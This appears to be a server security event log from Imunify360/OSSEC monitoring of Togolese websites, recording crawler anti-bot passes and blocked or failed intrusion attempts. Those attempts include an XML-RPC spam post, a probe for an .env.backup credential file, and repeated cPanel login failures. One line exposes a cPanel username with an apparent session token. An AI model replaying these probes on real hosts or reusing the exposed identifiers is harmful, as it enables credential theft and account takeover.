abuser: 104.28.156.67
country_id: 2017370
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cb7817d36be7d98d5cd4c3bbf4a5c5c4c6f0b247||Title:ui9os0p588tsjsmn||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.135
country_id: 1880251
description:
47.128.96.135 - - [10/Jun/2026:10:15:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6713243&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbrao%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086500 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/brao/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.135


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.241.126.166
country_id: 6252001
description:
2026-06-10 10:16:10 dovecot_plain authenticator failed for H=(mesyscom.com) [192.241.126.166]:38178: 535 Incorrect authentication data (set_id=infos@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.198
country_id: 1880251
description:
47.128.96.198 - - [10/Jun/2026:10:16:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6581192&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdrame-de-tivaoune-au-senegal%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086586 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/drame-de-tivaoune-au-senegal/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.198


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.189
country_id: 1880251
description:
47.128.96.189 - - [10/Jun/2026:10:16:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263918&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpiraterie-maritime%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086580 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/piraterie-maritime/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.189


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.55.105.252
country_id: 1269750
description:
Jun 10 10:17:16 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.55.105.252 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [10/Jun/2026:10:17:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738136&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbrao%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086644 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/brao/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.1
country_id: 1880251
description:
47.128.122.1 - - [10/Jun/2026:10:18:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10392172&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftribunal-militaire-de-lome-le-lieutenant-colonel-dadjo-ograbako-nomme-procureur-general%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086687 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/tribunal-militaire-de-lome-le-lieutenant-colonel-dadjo-ograbako-nomme-procureur-general/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.1


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.171
country_id: 1880251
description:
47.128.96.171 - - [10/Jun/2026:10:18:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909293&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fchanteuse-togolaise-kezita%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086690 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/chanteuse-togolaise-kezita/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.171


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.99.186
country_id: 6252001
description:
[2026-06-10 10:18:54 +0000] info [whostmgrd] 192.204.99.186 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.144
country_id: 1880251
description:
47.128.96.144 - - [10/Jun/2026:10:20:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12820170&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fchanteuse-togolaise-kezita%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086808 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/chanteuse-togolaise-kezita/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.144


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.80.86.187
country_id: 1668284
domain: api.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/app/.env.backup||User:apicafe||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.135
country_id: 1880251
description:
47.128.96.135 - - [10/Jun/2026:10:20:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789524&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-liste-repartition-concours-ministere-sante-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086839 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-liste-repartition-concours-ministere-sante-2025/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.135


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.204
country_id: 1880251
description:
47.128.96.204 - - [10/Jun/2026:10:22:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7390876&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Femmanuel-adebayor-et-santrinos-raphael%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781086974 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/emmanuel-adebayor-et-santrinos-raphael/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.204


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 167.148.112.155
country_id: 6252001
description:
167.148.112.155 - - [10/Jun/2026:10:24:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802391&pdata=https%253A%252F%252Fflp-tg.com%252Fcgi-bin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087056 HTTP/2.0" 302 0 flp-tg.com "https://flp-tg.com/cgi-bin/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:167.148.112.155


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [10/Jun/2026:10:23:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120083&pdata=https%253A%252F%252Fcfpj.tg%252Ftag%252Fblog%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087024 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/tag/blog/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.134.203
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/reunion-trimestrielle-societe-nouvelle-de-boissons-et-task-forces HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
description:
47.128.96.12 - - [10/Jun/2026:10:25:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919527&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-cils%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087102 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-cils/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.243.14
country_id: 1562822
description:
Jun 10 10:25:15 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.243.14 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.58.124
country_id: 2363686
description:
[2026-06-10 10:26:14 +0000] info [webmaild] 196.171.58.124 - info@matosshop.tg "POST /cpsess4417286981/3rdparty/roundcube/?_task=mail&_action=check-recent HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.1.77] != Current IP Address [196.171.58.124]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.124.39
country_id: 6252001
description:
[2026-06-10 10:25:42 +0000] info [whostmgrd] 82.40.124.39 - Turblote "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.141
country_id: 1880251
description:
47.128.96.141 - - [10/Jun/2026:10:26:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9608038&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-resultats-elections-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087166 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-resultats-elections-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.141


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.163
country_id: 1880251
description:
47.128.96.163 - - [10/Jun/2026:10:27:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923435&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-affaire-de-pretre-catholique-reconverti-au-culte-vodou-voici-ce-qui-sest-reellement-passe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087237 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-affaire-de-pretre-catholique-reconverti-au-culte-vodou-voici-ce-qui-sest-reellement-passe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.163


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 132.145.206.23
country_id: 6252001
description:
[2026-06-10 10:27:18 +0000] info [whostmgrd] 132.145.206.23 - crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.197
country_id: 1880251
description:
47.128.96.197 - - [10/Jun/2026:10:27:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7260053&pdata=https%253A%252F%252Ftdn.tg%252Fsuspension-visa-etudiants-etrangers-etats-unis%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087244 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/suspension-visa-etudiants-etrangers-etats-unis/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.197


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.83.56.177
country_id: 6252001
description:
[2026-06-10 10:27:38 +0000] info [whostmgrd] 23.83.56.177 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 27.115.124.45
country_id: 1814991
domain: hotel-yabisso.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (iPhoneLinux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/130.0.3427.1 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.18
country_id: 1814991
description:
123.6.49.18 - - [10/Jun/2026:10:28:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526871&pdata=https%253A%252F%252Fhotel-yabisso.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087320 HTTP/2.0" 302 0 hotel-yabisso.com "https://hotel-yabisso.com/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.18


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.194
country_id: 1880251
description:
47.128.96.194 - - [10/Jun/2026:10:28:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6396262&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcalvaire-des-usagers-de-la-route-de-segbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087334 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/calvaire-des-usagers-de-la-route-de-segbe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.194


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.6
country_id: 1814991
description:
27.115.124.6 - - [10/Jun/2026:10:28:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6580843&pdata=https%253A%252F%252Fhotel-yabisso.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087334 HTTP/2.0" 302 0 hotel-yabisso.com "https://hotel-yabisso.com/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.6


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.121.105
country_id: 6252001
description:
[2026-06-10 10:30:21 +0000] info [whostmgrd] 82.40.121.105 - polyfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.82.102.15
country_id: 3686110
description:
186.82.102.15 - - [10/Jun/2026:10:30:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789529&pdata=https%253A%252F%252Ftogodailynews.tg%252Fgouvernance-locale-la-ftc-presente-ses-ambitions-a-la-cheffe-du-gouvernement%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087420 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/gouvernance-locale-la-ftc-presente-ses-ambitions-a-la-cheffe-du-gouvernement/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2761.1738 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.82.102.15


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.116
country_id: 1880251
description:
47.128.122.116 - - [10/Jun/2026:10:29:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921062&pdata=https%253A%252F%252Ftogodailynews.tg%252Fculture-apotheose-de-la-danse-traditionnelle-des-chasseurs-en-hommage-au-pere-de-la-nation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087386 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/culture-apotheose-de-la-danse-traditionnelle-des-chasseurs-en-hommage-au-pere-de-la-nation/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.116


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.117
country_id: 3865483
description:
Jun 10 10:29:56 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.117 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.212
country_id: 2635167
description:
[2026-06-10 10:30:39 +0000] info [cpaneld] 5.230.133.212 NEW sahamtg:KSWHEpOkZIxM0BLY address=5.230.133.212,app=cpaneld,creator=sahamtg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [10/Jun/2026:10:30:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6397077&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcalvaire-des-usagers-de-la-route-de-segbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087442 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/calvaire-des-usagers-de-la-route-de-segbe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.254.116.198
country_id: 3469034
description:
[2026-06-10 10:31:59 +0000] info [cpaneld] 170.254.116.198 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.172
country_id: 1880251
description:
47.128.96.172 - - [10/Jun/2026:10:32:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803931&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feleves-de-classe-de-passage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087539 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eleves-de-classe-de-passage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.172


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.158.183.119
country_id: 2017370
description:
[2026-06-10 10:32:07 +0000] info [cpaneld] 46.158.183.119 - dagltg "GET /login/?login_only=1&user=dagltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dagltg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.68
country_id: 1880251
description:
47.128.121.68 - - [10/Jun/2026:10:32:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067094&pdata=https%253A%252F%252Ftogodailynews.tg%252Fafreximbank-inaugure-le-premier-centre-commercial-africain-du-genre-a-abuja%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087562 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/afreximbank-inaugure-le-premier-centre-commercial-africain-du-genre-a-abuja/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.68


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.139
country_id: 1880251
description:
47.128.96.139 - - [10/Jun/2026:10:34:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6605164&pdata=https%253A%252F%252Ftdn.tg%252Freseau-voleurs-telephones-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087668 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/reseau-voleurs-telephones-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.139


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.158
country_id: 1880251
description:
47.128.96.158 - - [10/Jun/2026:10:34:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170193&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgnassingbe-eyadema%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087675 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/gnassingbe-eyadema/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.158


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.126
country_id: 1880251
description:
47.128.96.126 - - [10/Jun/2026:10:35:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935772&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fclinique-a-lome-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087707 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/clinique-a-lome-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.126


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.209
country_id: 1880251
description:
47.128.96.209 - - [10/Jun/2026:10:34:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738136&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F15-ans-cmda-concert-chantre-dodo-brigitte%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087683 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/15-ans-cmda-concert-chantre-dodo-brigitte/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.209


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [10/Jun/2026:10:35:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393185&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feleves-de-classe-de-passage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087700 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eleves-de-classe-de-passage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 156.245.246.154
country_id: 241170
domain: mail.togodailynews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:10-36.156.245.246.154||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.131
country_id: 1880251
description:
47.128.96.131 - - [10/Jun/2026:10:36:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935211&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-resultats-elections-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087772 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-resultats-elections-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.131


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.150
country_id: 1880251
description:
47.128.96.150 - - [10/Jun/2026:10:35:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328223&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvehicules-blindes-de-roch-kabore-cribles-de-balles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781087758 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vehicules-blindes-de-roch-kabore-cribles-de-balles/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.150


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.158.121.40
country_id: 1643084
description:
